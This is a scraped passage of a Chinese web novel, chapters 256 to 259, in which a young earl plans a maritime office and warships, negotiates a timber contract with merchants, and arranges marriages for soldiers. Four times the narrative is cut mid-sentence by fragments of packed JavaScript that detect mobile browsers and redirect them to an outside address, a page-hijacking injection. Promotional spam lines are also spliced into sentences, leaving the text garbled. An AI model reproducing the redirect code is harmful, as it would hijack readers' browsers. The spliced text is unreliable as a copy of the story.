l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777346|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我这个监军,从今日起,绝非为了掣肘伯爷,更不会为难伯爷!” “只要是伯爷您想做的事情,您只管放手去做!” “前面有任何风险,后面有任何攻讦,我谭伦,与伯爷一并承担!” “无论如何,这漕海一体,这镇海司,我谭伦,都要全力配合伯爷,将它做成!” “做成一件……真正惠国惠民,利在千秋的好事!” 话音落定,掷地有声。 陆明渊缓缓站起身,拎起桌上那把半旧的铜壶,走到谭伦面前。 他亲自为谭伦那只已经空了的茶杯,重新续满了滚烫的茶水。 氤氲的白气袅袅升起,模糊了两人之间的视线。 “谭先生言重了。” 陆明渊将茶壶放回桌上,声音平淡。 “你能来,我很高兴。” “你来的目的,奉谁的命令,我也不在乎!” “只要你是真心实意想要为百姓做些实事,我便不会有任何意见!” “伯爷……” 谭伦捧着茶杯,心中百感交集,千言万语涌到嘴边,却又不知该从何说起。 陆明渊摆了摆手,重新坐回那堆积如山的书案之后,他的目光再次落回到那些繁杂的公文卷宗之上。 “谭先生,既然来了,就别急着走。” 他拿起一份卷宗,递了过去。 “这是宁波沈家送来的海图,以及他们对南洋诸国商路的勘探记录。” “你我都知道,镇海司的钱,不能只靠商家输血,更不能指望户部。” “想要长久,就必须自己学会生钱。” 谭伦一愣,下意识地接过那份沉甸甸的卷宗。 “严党也好,清流也罢,他们只看到了每年八百万两的白银。” “可他们的目光,终究只停留在了大乾这一亩三分地上。” 他的手指,轻轻点在了舆图上那片广袤无垠的蓝色海洋之上。 “他们不知道,在这片大海之外,还有着数之不尽的财富,有着足以让整个大乾王朝脱胎换骨的机遇。” “我要做的,不仅仅是漕海一体,不仅仅是肃清倭患。” 陆明渊的声音很轻,却像一记重锤,狠狠地砸在了谭伦的心上。 “我要为大乾,打开一扇通往世界的门。” “我要让这片土地上的百姓,不再仅仅为了能吃上一口饱饭而挣扎。” “我要让他们知道,在这片他们赖以为生的土地之外,世界,原来是如此的广阔。” 他看着已经彻底呆住的谭伦,微微一笑。 “谭先生,这条路,会很难走,甚至比我们在朝堂上面对的敌人,要凶险百倍。” “你,准备好了吗?” 第256章 那可是足以掏空国库的数字! 书房之内死一般的寂静。 这声音在此刻的谭伦听来却不吝于平地惊雷。 他怔怔地看着眼前的少年只觉得自己的呼吸都停滞了。 让这片土地上的百姓不再仅仅为了吃上一口饱饭而挣扎? 这些话若是从一个纵论天下的狂生口中说出谭伦只会嗤之以鼻斥之为不知天高地厚的疯话。 可此刻说出这番话的是陆明渊。 是一个十二岁的少年却也是一手策划了“漕海一体”即将执掌“镇海司”这等国之重器的冠文伯。 谭伦手中的茶杯不知何时已经冰凉他却浑然不觉。 他想起了自己年轻时寒窗苦读心中也曾有为天下苍生而拼搏的宏愿。 随着宦海沉浮年岁渐长。 那些曾经炙热的理想早已被官场上的人情世故、利益纠葛消磨得干干净净。 他以为自己这辈子也就这样了。 在裕王府做一个安安稳稳的参政辅佐未来的君主守住这份祖宗的基业便已是**。 可今夜陆明渊的话却狠狠地砸开了他早已尘封的内心壁垒。 原来路还可以这么走。 原来世界……是如此的广阔。 许久许久。 谭伦才找回了自己的声音那声音沙哑得厉害。 “伯爷……” 他长长地吐出了一口浊气仿佛要将半生的疲惫与暮气都一并吐出。 然后他重新端起茶杯将那杯已经凉透的茶水 他放下茶杯眼神前所未有的清明、坚定。 “下官明白了。” 没有再多说什么豪言壮语也没有再表什么忠心。 简简单单的五个字却比任何誓言都来得更加沉重。 陆明渊微微颔首他知道谭伦是真的懂了。 “既然明白了那便好。” 陆明渊的语气重新变得轻松起来。 “镇海司的架子要尽快搭起来。有些事宜早不宜迟。” 谭伦精神一振立刻进入了角色。 “伯爷说的是。下官以为镇海司的根本在于权责分明。” “首先便是要将伯爷您提过的‘漕海理事会’正式纳入镇海司的体系之内。” “不错。” 陆明渊赞许地点了点头。 “漕海理事会本就是为了今日而设的临时机构。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “如今正好可以将其改组为镇海司下辖的‘商舶司’专门负责管理海贸往来、制定关税、签发船引等事宜。” “此事我来主理你来协助。” 由陆明渊主理谭伦协助。 这话一出谭伦心中又是一震。 这是何等的信任与放权! 商舶司这可是镇海司的钱袋子是那八百万两白银的直接来源! 陆明渊竟然就这么轻描淡写地让自己参与其中。 他深吸一口气郑重道:“伯爷放心下官定不辱命!” “靖海营那边也要尽快完成整编。” 陆明渊继续道。 “我会上奏陛下请调几名京营里出来的宿将负责操练兵马。但靖海营的指挥权必须牢牢掌握在我们自己手里。” “这是自然!” 谭伦沉声道。 “兵权乃国之重器绝不容旁落。还有监军之职……” “监军之职依旧由谭先生你来担任。” 陆明渊看着他目光平静。 “镇海司需要一个能时刻提醒我不要走错路的人。” 谭伦心中百感交集他知道陆明渊这是在告诉他他谭伦不是一个可有可无的棋子。 “下官……领命!” 那一夜书房的烛火亮了整整一宿。 二人就镇海司的组织架构、**、兵员操练、后勤补给乃至未来的军法条令都进行了细致的商讨。 一个高屋建瓴时常有惊世骇俗之语。 一个老成持重将那些天马行空的想法一一落到实处补充其中的关节疏漏。 等到窗外泛起鱼肚白晨光熹微之时一份详尽无比的《镇海司筹建章程》已经初具雏形。 谭伦看着那厚厚一沓写满了字的纸张只觉得这短短一夜比他过去十年在官场上做的 “剩下的细枝末节我们日后再议。” 陆明渊揉了揉有些发酸的眼睛将笔放下。 “今日先把这些大事敲定。谭先生辛苦你了。” “能与伯爷共谋大事是下官的荣幸何谈辛苦!” …… 接下来的三日陆明渊几乎是住在了府衙里。 无数的公文如同雪片般从浙江各地汇集而来。 关于减租减息的推行进度关于流民安置的各项事宜关于清丈田亩遇到的种种阻碍…… 桩桩件件都离不开他这 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 个“代领提督”来拍板定夺。 三天后,正当陆明渊埋首于一份关于打击私盐的卷宗时,一名亲兵匆匆来报。 “启禀伯爷,温州造船厂的彭大师派人前来,说是有要事禀报,请您移步船厂一观。” “哦?”陆明渊抬起头,眼中闪过一丝亮色。 “来得正好。” 他放下手中的卷宗,对一旁的谭伦笑道。 “谭先生,走,我带你去看一样好东西。” 陆明渊与谭伦策马而来时,看到的就是这样一幅热火朝天的景象。 船厂总办彭天成,早已在门口等候。 他见到陆明渊,没有过多的繁文缛节,只是拱了拱手,便开门见山。 “伯爷,您让造的东西,有眉目了!” 他的声音洪亮,带着工匠特有的直爽。 “带我去看看。” 陆明渊翻身下马,兴致盎然。 彭天成领着二人,穿过喧闹的工坊区,来到一处被栅栏单独隔开的区域。 “这里是试船区,” 彭天成指着面前一个巨大的水池解释道。 “所有新船的船样,都会先在这里试水,测算各项数据,确保万无一失。” 水池边上,一个巨大的木棚下,赫然摆放着一艘精巧绝伦的船只模型。 那模型约有一人多高,通体由上好的柚木打造。 与时下大乾水师中常见的福船、沙船那相对臃肿的船身截然不同。 这艘船的模型,船身更显细长,船首尖锐,仿佛一柄即将刺破波涛的利刃。 最引人注目的,是船身两侧与船首那密密麻麻的炮窗。 谭伦只是粗略一数,便不由得倒吸了一口凉气。 “这……这竟有十六个炮位?” “正是!” 彭天成的脸上露出一抹得意之色。 “按照伯爷您的要求,正面八门,两侧各四门,共计十六门火炮!” 他抚摸着那光滑的船身,眼中满是痴迷与狂热。 “这船样,是按照一百比一的比例缩小的。” “我们在这水池里,反复测试了它的吃水量,承重能力。” “按照伯爷您的要求,满载八百名官兵,以及三个月的淡水、粮食等生活物资,它的重心依旧稳固,转向也极为灵活!” 彭天成越说越兴奋,指着模型,滔滔不绝地介绍着自己的得意之作。 从船身的水密隔舱设计,到可以升降的三桅硬帆,再到船 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 舵的改进。 桩桩件件都凝聚着他毕生的心血与智慧。 陆明渊静静地听着不时地点头眼中满是赞赏。 谭伦在一旁听的是云里雾里他虽是文官却也知兵事但对于造船却是一窍不通。 但他能看出来眼前这艘新式战船一旦造成 “好!做得很好!” 陆明渊由衷地赞叹道“彭总办你当居首功!” 得到陆明渊的肯定彭天成黝黑的脸上泛起一丝红光比什么赏赐都让他高兴。 他搓了搓手有些为难地说道。 “伯爷船是好船可……可这造价实在是……” 他叹了口气苦着脸道。 “要造此等巨舰龙骨非得用三百年以上的铁杉木不可而且必须是整根中间不能有任何拼接。” “光是这一根龙骨就得去川蜀、湖广的深山老林里寻。辅料也样样考究都得是百年以上的大料。” “下官粗略估算了一下光是寻找木料再将其从深山中砍伐、运送出来就需要至少半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777347|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年的时间。” “这其中的人力、物力、财力……” 彭天成没有再说下去但意思已经很明显了。 那将是一个天文数字。 他很担心这位年轻的伯爷虽然有通天的本事但这银子却不是光靠本事就能变出来的。 镇海司刚刚组建百废待兴哪里拿得出这笔钱? 谭伦的心也沉了下去。 他知道彭天成所言非虚。 大乾承平日久江南一带的优质木料早已砍伐殆尽。 要造这艘巨舰所需的大料确实只能从内陆转运。 这其中的耗费光是想想就让人头皮发麻。 然而陆明渊的脸上却没有丝毫的为难之色。 他依旧带着那抹若有若无的笑意。 “钱的事不是问题。” 他轻描淡写的一句话让彭天成和谭伦都愣住了。 不是问题? 那可是足以掏空国库的数字! 陆明渊没有解释只是转头对彭天成说道。 “彭大师你将所需龙骨的具体尺寸、粗细以及其他辅料的种类、数量都详细地写一份清单给我。” “伯爷您这是……” 彭天成有些不解。 “**我就过去。” 陆明渊笑了笑。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “既然我们自己去山里找树又慢又贵,那为什么不让那些常年奔走于川蜀、湖广的木材商人,把树给我们送过来呢?” 彭天成一怔,随即苦笑道。 “伯爷有所不知,那些大木商,一个个都精明得跟猴儿似的。” “让他们去寻这等稀有的巨木,他们不把价格抬到天上去才怪!” “到时候,只怕比我们自己去弄,还要贵上几分!” “他们会的。”陆明渊的眼中闪过一丝精光。 “但价格,得由我说了算。” 他看着一脸茫然的彭天成,没有过多解释。 “你只管把清单给我。越详细越好。” 彭天成虽然不懂陆明渊葫芦里卖的什么药,但见他如此笃定,也不敢多问。 他叫来手下的书吏,按照陆明渊的要求,将新船所需的所有木料,一一开列出来。 拿到那份沉甸甸的清单,陆明渊的嘴角勾起一抹意味深长的弧度。 他转头对身后的亲兵吩咐道:“去,给温州城里所有叫得上名号的商行,都送一份请柬。” “就说,本官今夜在府衙设宴,请他们来谈一笔……天大的生意。” “告诉他们,谁能接下这笔生意,未来五年,镇海司所有船只的木料采办,都由他一家独占。” …… 夜幕降临,温州府衙后堂,灯火通明。 一场特殊的晚宴,正在这里举行。 宴席的主位上,坐着的自然是陆明渊。 而在他的下首,分列而坐的,则是十几个衣着华贵,气度不凡的中年商人。 这些人,是如今汇聚在温州城里,最有实力的几大商行的掌柜或东家。 本地的陈家家主陈望,赫然在列。 除此之外,还有来自徽州的汪家,以及来自福建的林家。 这都是在大乾商界跺一跺脚,地面都要抖三抖的豪商巨贾。 他们都是嗅到了镇海司成立所带来的巨大商机,才不远千里,齐聚温州。 此刻,他们看着主位上那个气定神闲的少年,心中皆是五味杂陈。 有好奇,有审视,更多的,是商人与生俱来的精明与算计。 酒过三巡,菜过五味。 陆明渊放下手中的**筷,清了清嗓子。 喧闹的宴客厅,瞬间安静了下来。 所有人的目光,都集中在了他的身上。 他们知道,正戏,要开始了。 陆明渊环视一周,将众人的神情尽收眼底,淡淡开口。 “诸位,今日请大家来,不为别的,只为一件事。” 他从身旁的若雪手中,接过那份由彭天成开列的木料清单,轻轻放在了桌上。 “镇海司,欲造新式战船一百艘。这是第一批二十艘战船所需的木料清单。” “这笔生意,本官打算……包给你们做。” 第257章 现在,我需要三位给我一个准话 满堂豪商巨贾,那些在各自的领域里翻云覆覆雨的人物,一个个瞪大了眼睛,脸上满是茫然与不解。 “伯爷……” 还是那位来自徽州的汪掌柜,他最先从震惊中回过神来,小心翼翼地拱手问道。 “恕草民愚钝,这生意究竟是何章程?还请伯爷明示。” 他的问题,问出了所有人的心声。 陆明渊的目光扫过众人。 “章程很简单。” 他伸出手指,在桌上轻轻叩了叩。 “第一,本官将这二十艘战船所需的所有木料,打包成一个项目。谁能接下,便由谁全权负责。” “从木料的采买、砍伐,到从川蜀、湖广的深山老林里运至温州造船厂。” “这中间所有的人力、物力、关卡、耗损,皆由承接的商家一力承担。” “第二,镇海司,或者说本官,只看结果。” 陆明渊的语气加重了几分。 “本官不管你们用什么法子,是联合采买,还是分头行动。” “本官只要在规定的时限内,在温州船厂,见到清单上所列的,一根不少、尺寸无误的合格木料。” “第三,也是最重要的一点。” 他微微一笑,那笑容在烛光下显得有些莫测高深。 “这笔生意,官府只出总价。在这个总价之内,你们能省下多少,便是你们的利润。若是超了,亏损也由你们自己承担。” 话音落下,整个宴客厅彻底炸开了锅! 这……这简直是闻所未闻! 将风险完全转嫁给商人? 这哪里是什么天大的生意,这分明是一个天大的火坑! 川蜀、湖广路途遥远,山高水险,其中艰辛,在座的商人们比谁都清楚。 一路上要打点的关卡有多少?要喂饱的牛鬼蛇神有多少? 更不用说那深山老林里,瘴气、猛兽、时疫,哪一样不是吞噬人命和银子的无底洞? 以往官府采办,这些风险大多是由官府自己承担,或是层层分摊下去。 可现在,陆明渊一句话,就要将这如山一般沉重的担子,全都压在一家商行的身上! 一时间,刚刚还因为“一百艘战船”而激动不已的商人们,脸色都变得凝重起来。 不少人已经开始打起了退堂鼓。 然而,也有少数几人,眼中却闪烁着异样的光芒。 风险巨大,可若是……若是真能做成呢? 陆明渊将 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 众人的反应尽收眼底,他没有再多言,只是端起茶杯,轻轻吹了吹浮沫。 许久,他才放下茶杯,淡淡道。 “这笔生意,风险与机遇并存。本官不强求。愿意谈的,今夜可以留下。 “不愿意的,本官也备了车马,随时可以送诸位回府。 他站起身,目光在人群中扫过,最后落在了本地豪族陈家的家主陈望,以及另外两名气度沉稳,一直没有开口的外地商人身上。 “陈家主,杭州信达行的孙掌柜,还有江苏宝源记的钱东家,三位若是有意,便请移步偏厅一叙。 被点到名的三人,心中皆是一凛。 陈望是温州地头蛇,留下理所当然。 而那孙掌柜和钱东家,则是近来在温州最为活跃,实力也最为雄厚的两家外来商行。 显然,这位伯爷对他们的底细,早已摸得一清二楚。 其余的商人们见状,虽心有不甘,却也明白,今夜的主菜,已经没他们的份了。 他们只能悻悻然地起身告辞,心中却翻江倒海,暗自揣测着这位冠文伯葫芦里究竟卖的什么药。 …… 府衙的偏厅之内,灯火被拨得更亮了些。 没有了宴席上的喧闹,空气显得格外凝滞。 被陆明渊留下来的,并非陈望本人,而是陈家的三爷,陈季常。 一个看起来四十出头,面容精悍,双眼闪烁着算计光芒的男人。 显然,陈家对于这等具体的生意,派出了最懂行的掌舵人。 而杭州来的孙掌柜和江苏来的钱东家,则都是亲自坐镇。 他们能从万千商贾中脱颖而出,被陆明渊一眼相中,自然不是等闲之辈。 三人落座之后,谁也没有先开口,只是拿眼角的余光,悄悄地打量着主位上那个气定神闲的少年。 “三位不必拘谨。 陆明渊率先打破了沉默,他将那份沉甸甸的木料清单推到了桌子中央。 “彭大使的要求,方才我已经说了。此事,事关镇海司的根基,干系重大,容不得半点马虎。 他的目光从陈三爷、孙掌柜、钱东家的脸上一一扫过,语气平淡却带着不容置疑的威严。 “当然,朝廷也不会让诸位白白出力。做成了这件事,好处自然少不了。 “就像我之前说的,谁能接下这第一批的生意,未来五年,镇海司所有船只的木料采办,都由他一家独占! 五年! 独占! 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 镇海司是什么?那是即将执掌整个大乾海贸的庞然大物! 它的船队,未来会是何等规模? 那将是一个无法估量的天文数字! 独占五年的木料采办权,这几乎等同于得到了一座挖不空的金山! 三人的呼吸,瞬间变得粗重起来。 “现在,我需要三位给我一个准话。 “安排你们的人,立刻算一算,承接这个项目,大概需要多少银子。 三人闻言,不敢有丝毫怠慢,立刻躬身应是。 他们没有离开偏厅,而是各自招手,叫来了等候在外的账房先生。 一时间,小小的偏厅内,算盘的噼啪声响成一片,如同急促的雨点。 陈三爷、孙掌柜、钱东家三人,围着那份清单,时而低声商议,时而激烈争论。 他们都是行家里手,对于各种木料的价格、运输的成本、其中的关节,都了如指掌。 陆明渊和谭伦就那么静静地坐着,看着他们忙碌。 足足过了一个时辰,算盘声才渐渐停歇。 陈三爷作为代表,手心里捏着一张写满了数字的纸,额头上渗出细密的汗珠。 他走到陆明渊面前,深深一揖。 “启禀伯爷,我等三家合力估算,按照伯爷您的要求,将这批料子,分毫不差地运到温州船厂,至少……至少需要三十万两白银! 三十万两! 饶是谭伦早有心理准备,听到这个数字,眼皮还是忍不住跳了一下。 这还只是第一批二十艘船的木料! 那一百艘……岂不是要上百万两? 陆明渊的面色却没有什么变化。 “户部批给镇海司,用于采办第一批木料的预算。 他的声音很轻,却像一道惊雷在偏厅中炸响。 “二十万两。 空气,在这一刻仿佛凝固了。 陈三爷脸上的血色“唰地一下褪得干干净净。 孙掌柜和钱东家也是一脸煞白。 他们将每一个环节的利润都压到了最低,才勉强得出一个三十万两的成本价。 可这位伯爷,一开口就砍掉了三分之一! 陆明渊的脸色,终于沉了下来。 他的目光缓缓扫过三人,淡淡道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777348|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “官府给出的价格是二十万两,三位却要三十万两。 “这中间十万两的差额,是觉得本官年幼可欺,还是当本官是冤大头? 一股寒意, 听说看这本书的人都是很幸运的,分享后你的运气会更棒 瞬间笼罩了整个偏厅。 三人只觉得一股凉气从脚底板直冲天灵盖,连大气都不敢喘一口。 “伯爷息怒!伯爷息怒啊!” “伯爷明鉴!我等万万不敢有此欺瞒之心啊!” “官府采办,走的是官家的运河,沿途关卡,谁敢收钱?可我等商贾不同啊!” “那运河,我们能走的段落有限,更多时候,要走商道,要翻山越岭!” “这其中的过路费、打点费,就是一笔巨款!” “再者,官府出面,采买木料自有朝廷的牌面,价格上总有优惠。” “可我们去买,那些山里的木商,见是这等百年难遇的巨木,不把价格抬到天上去才怪!” “我等三家合力估算,这三十万两,刨去所有开销,真正能落到口袋里的,不过区区几万两的辛苦钱!” “这成本,已经是压到极致了,伯爷!” 陈三爷说得声泪俱下,孙掌柜和钱东家也在一旁连连点头,满脸苦涩。 谭伦在一旁听着,心中也明白,陈三爷所言,恐怕并非虚假。 这便是大乾官僚体系与商业体系之间,一道天然的鸿沟。 然而,陆明渊却不为所动。 他静静地听完,没有去争辩那一两银子的差价,只是看着跪在地上的陈三爷,缓缓开口。 “起来吧。” 陈三爷战战兢兢地站起身。 “本官知道你们的难处。” 陆明渊的语气缓和了下来。 “但朝廷的预算,也并非我一人能定。二十万两,是死的,三十万两,是你们的成本” “这中间的十万两,便是我们要解决的问题。” 陆明渊很清楚,走官府的路子,审批都未必下得来! 想要让户部掏钱给他修建战船? 严党和清流都未必同意! 就算是同意,各个关节审批下来,光是流程就得走半年的时间! 到时候龙骨运到温州,又是一年起步! 时间太慢了! 这也是陆明渊为什么找这些商人的原因! 陆明渊需要加快进度,争取在三年之内,将第一支舰队打造出来! 至于这二十万两的预算,是陆明渊和彭天成计算的结果! 即便是超出这个成本,也不止于到三十万两! 他没有再逼迫他们,而是话锋一转。 “本官要你们的底线。一个能做的方案。” “你们采办巨木,同样可以拿着镇海司的官牌去办,这样成本就降下来了。” “沿途的那些官员打点,我镇海司自会安排人手,不用你们掏钱!” “这件事办成了,后续的生意,都可以交给你们!” “好好考虑清楚!” 他看着眼中重新燃起一丝希望的三人,抛出了自己的筹码。 “只要方案能让本官满意,这笔生意,镇海司可以先支付三成的货款,作为你们的启动之资。” 三人眼中精光一闪。 “等到所有龙骨主料运抵温州,验收无误,再支付五成。” “至于最后的两成,也就是四万两……” 陆明渊顿了顿,说出了让三位资深商贾都感到匪夷所思的方案。 “……将由镇海司开具凭证,年底一次性结清。” “在这期间,这笔尾款,将按照我们镇海司下设官府钱庄的利息,计息给你们。” 第258章 这不是生意,也不是权谋 官府钱庄?计息? 陈季常、孙掌柜、钱东家三人都是在商海里摸爬滚打了半辈子的**湖。 他们一瞬间便抓住了这番话里最关键的讯息。 这已经不是简单的赊欠了。 这是一种……他们从未接触过的来自官府的信用凭证! 将朝廷的欠款变成一种可以生息的资产? 三人眼中的惊骇慢慢褪去 他们飞快地在心中拨动算盘。 二十万两硬接下来明面上看是亏了。 就算有伯爷的官牌开路省去了沿途打点可深山采木的人力、物力、损耗都是实打实的银子。 三十万两的估算已是他们能压出的最低成本。 这中间的差额至少还有五万两。 可……若把眼光放长远些呢? 独占五年镇海司的木料采办! 这承诺的分量重逾千钧。 镇海司如今虽只是初创可背后站着的是朝廷是陛下! 为了这座挖不尽的金山眼前亏损一些似乎……也并非不能接受。 三人交换了一个眼神都在对方眼中看到了相同的决断。 风险巨大但机遇更是空前。 赌了! 陈季常深吸一口气他对着陆明渊深深一揖声音嘶哑却坚定。 “伯爷高义我等……我等钦佩之至!” 他直起身目光灼灼地看着陆明渊。 “这笔生意我等三家联手接下了!” “伯爷为国操劳我等商贾纵是身家微薄也当为朝廷分忧!” “这第一单生意就算是我等三家为镇海司为伯爷您献上的一份心意!” “亏一些银子我们认了!只求……只求日后伯爷能念着我等今日的难处。” “在往后的生意里能让我等三家稍稍……稍稍回一些血赚些辛苦银子!” 这番话说得是滴水不漏。 既表明了态度又点明了苦劳还将未来的期望也一并奉上。 孙掌柜和钱东家也在一旁连连拱手面带戚容仿佛真是割肉饲鹰为国分忧。 陆明渊看着他们三人的表演嘴角勾起一抹淡淡的笑意。 这些老狐狸个个都是人精。 明明是看中了未来的庞大利润却偏要说成是为国分忧的亏本买卖。 他 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 也懒得点破,只是点了点头,声音温和了许多。 “好,三位有此心意,本官记下了。 他端起茶杯,轻轻呷了一口,目光转向孙掌柜和钱东家。 “你们放心,本官说话,一言九鼎。接了这一单,便有了下一单。 “陈家在温州,本就是地头蛇,出海的分子,他们早已占下,此事便不多言。 陆明渊放下茶杯,茶杯与桌面发出一声轻响,敲在孙、钱二人的心坎上。 “至于信达行与宝源记,你们两家远道而来,本官自然也不会让你们白白辛苦。 “下一次,镇海司开辟新的海运航线,这个机会,可以给你们留着。 “这其中的风险与利润,你们自己想清楚了,要不要承接。 孙掌柜和钱东家闻言,身体猛地一震,眼中瞬间爆发出难以置信的狂喜! 海运航线! 这四个字,比什么金山银山都更让他们心动! 陈家为何能在温州屹立不倒? 靠的便是勾连官府,手握出海的权力! 他们这些外来商行,银子再多,也只能在陆地上打转,眼巴巴地看着陈家在海上日进斗金。 而现在,这位冠文伯,竟然亲口许诺,要将这通天的大道,向他们敞开一道门! 对于两人而言,这可是天大的恩情! “伯爷大恩!我等……我等粉身碎骨,在所不辞! 两人激动得语无伦次,当即便要跪下磕头。 “行了。 陆明渊摆了摆手,神情复又变得淡然。 “空口白话无用,本官看的是结果。即刻去准备吧,本官等着你们的好消息。 说罢,他便对一旁的谭伦使了个眼色。 谭伦心领神会,起身道:“三位,伯爷乏了,请吧。 陈季常三人不敢再多言,恭恭敬敬地行礼告退。 只是那走出偏厅的脚步,却比来时轻快了不知多少。 …… 秋意渐浓,温州府的空气里,都带上了一丝海风的咸湿与凉意。 十数日的光景,弹指而过。 温州城外的官道上,三家商行庞大的商队,早已如同三条长龙。 他们一路向西,朝着川蜀、湖广的崇山峻岭蜿蜒而去。 而府衙之内,陆明渊的书房,却是一片宁静。 裴文忠躬身站在书桌前,手中拿着一本厚厚的账册,神情恭敬中带着一丝掩饰不住的兴奋。 “ 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 启禀伯爷,纺织厂那边,一切顺利。新招募的女工都已经上手,咱们的织机,又添了五十多台,如今总数已近百台。” “按照目前的进度,每个月,厂里能产出上好的丝绸六十余匹。只是……” 裴文忠顿了顿,有些不好意思地说道。 “只是咱们的女工,大多是新手,手艺还比不上那些几十年的老师傅。” “织 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777349|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的丝绸,虽也算上乘,但比起苏杭织造的贡品,终究是差了一筹。” “目前在市面上,一匹只能卖出六两银子。” “不过,请伯爷放心!我已经请了最好的师傅来教导,最多不出半年,等姑娘们熟练度上来,品质定能追上!” “届时,一匹丝绸卖上八两银子,不成问题!利润翻番,咱们就能添置更多的织机,扩大产能!” 陆明渊静静地听着,脸上露出了满意的神色。 从无到有,在这么短的时间内,能做到这个地步,裴文忠确实是个人才。 “做得不错。” 他颔首赞许道,“这事不急,一步一个脚印,稳扎稳打便好。” 他放下手中的笔,看向裴文忠,话锋一转。 “文忠,牛邙山那两千多个姑娘,如今在纺织厂安顿下来,也算是有了营生。但终究不是长久之计。” “她们……终究是要成家的。” 裴文忠闻言一愣,不知伯爷为何突然提起此事。 只听陆明渊继续缓缓说道。 “我温州卫的兵士,大多是背井离乡的汉子,孑然一身。军营之中,阳气过盛,也非好事。” 他的目光仿佛穿透了书房的墙壁,看到了遥远的军营,和那一张张年轻而质朴的脸。 “你去和邓玉堂联系一下,探探双方的口风。” “若是你情我愿,便可由官府出面,为他们牵线搭桥,撮合姻缘。” “以后,咱们就在牛邙山附近,划出一块地来。” “凡是成了家的军士,都可以在那里分到田地房舍。” “纺织厂的女工,白天做工,晚上回家,也能与丈夫团聚。” “如此一来,军心可安,民心可附。” “久而久之,那里便会形成一个军属的小城,大家都是乡里乡亲,彼此有个照应。” “将士们在前线搏命,也没有了后顾之忧。” 书房内一片寂静。 裴文忠怔怔地看着陆明渊,张大了嘴巴,半晌说不出一句话来。 他原以为,自己这位小伯爷,想的只是如何赚钱,如何造船,如何建功立业。 却万万没有想到,他的目光,竟已落在了如此细微,却又如此宏大的地方! 这不是生意,也不是权谋。 这是……在为那些最底层的军士和流离失所的女子,构建一个家! 一个安身立命之所! “伯爷……” 裴文忠的声音有些颤抖,他猛地一揖到底,语气中充满了前所未有的敬服。 “伯爷深谋远虑,仁心盖世!下官……下官佩服的五体投地!” “下官这就去办!一定将此事,办得妥妥当当!” 第259章 给了陆明渊一道建立私军的圣旨 京城的秋,与温州府截然不同。 南国的秋是湿润的,带着海风的咸与桂子的甜。 而京城的秋,则是干燥的,凛冽的,带着一种天潢贵胄的威严与萧瑟。 三百万两白银,由锦衣卫最精锐的缇骑一路护送,在某个深秋的黎明,悄然进入京都。 消息,却比秋风传得更快。 玉熙宫内,瑞兽香炉里升腾的龙涎香,氤氲了整座殿宇。 嘉靖皇帝穿着一身宽大的青色道袍,盘膝坐在蒲团上。 他双目微阖,仿佛早已入定,与这天地玄黄融为一体。 殿外传来极轻的脚步声。 锦衣卫指挥使陆炳,身着飞鱼服,腰挎绣春刀,悄无聲息地走了进来。 他在三丈开外站定,躬身,如同一尊没有生命的雕塑。 他没有开口,只是静静地等着。 许久,嘉靖皇帝才缓缓睁开眼睛,那双看似浑浊的眼眸深处,却藏着洞悉一切的精光。 他没有看陆炳,目光依旧落在虚空中的某一点。 “到了? 声音不高,有些沙哑,却带着一种不容置疑的威严。 “回陛下,已全部入库,分毫不差。 陆炳的声音沉稳如铁。 “三百万两…… 嘉靖轻轻念叨着这个数字,嘴角似乎向上牵动了一下。 他慢慢地转动着手中的一串蜜蜡念珠,发出细微的摩擦声。 “这个陆明渊……倒真是个会给朕惊喜的娃娃。 这笔银子,是真正的意外之喜。 推行漕海一体,他早已做好了与整个朝堂角力、与天下士绅为敌的准备。 国库空虚,他甚至已经盘算着要从自己的内帑里挤出银子来,先将镇海司的架子搭起来。 他给陆明渊的是信任,是权力。 他没指望这个十二岁的少年能这么快就给他回报,而且是如此巨大的一份回报。 嘉靖心中对陆明渊的欣赏,又浓重了几分。 有了这笔钱,许多事情,便好办得多了。 “传朕旨意。 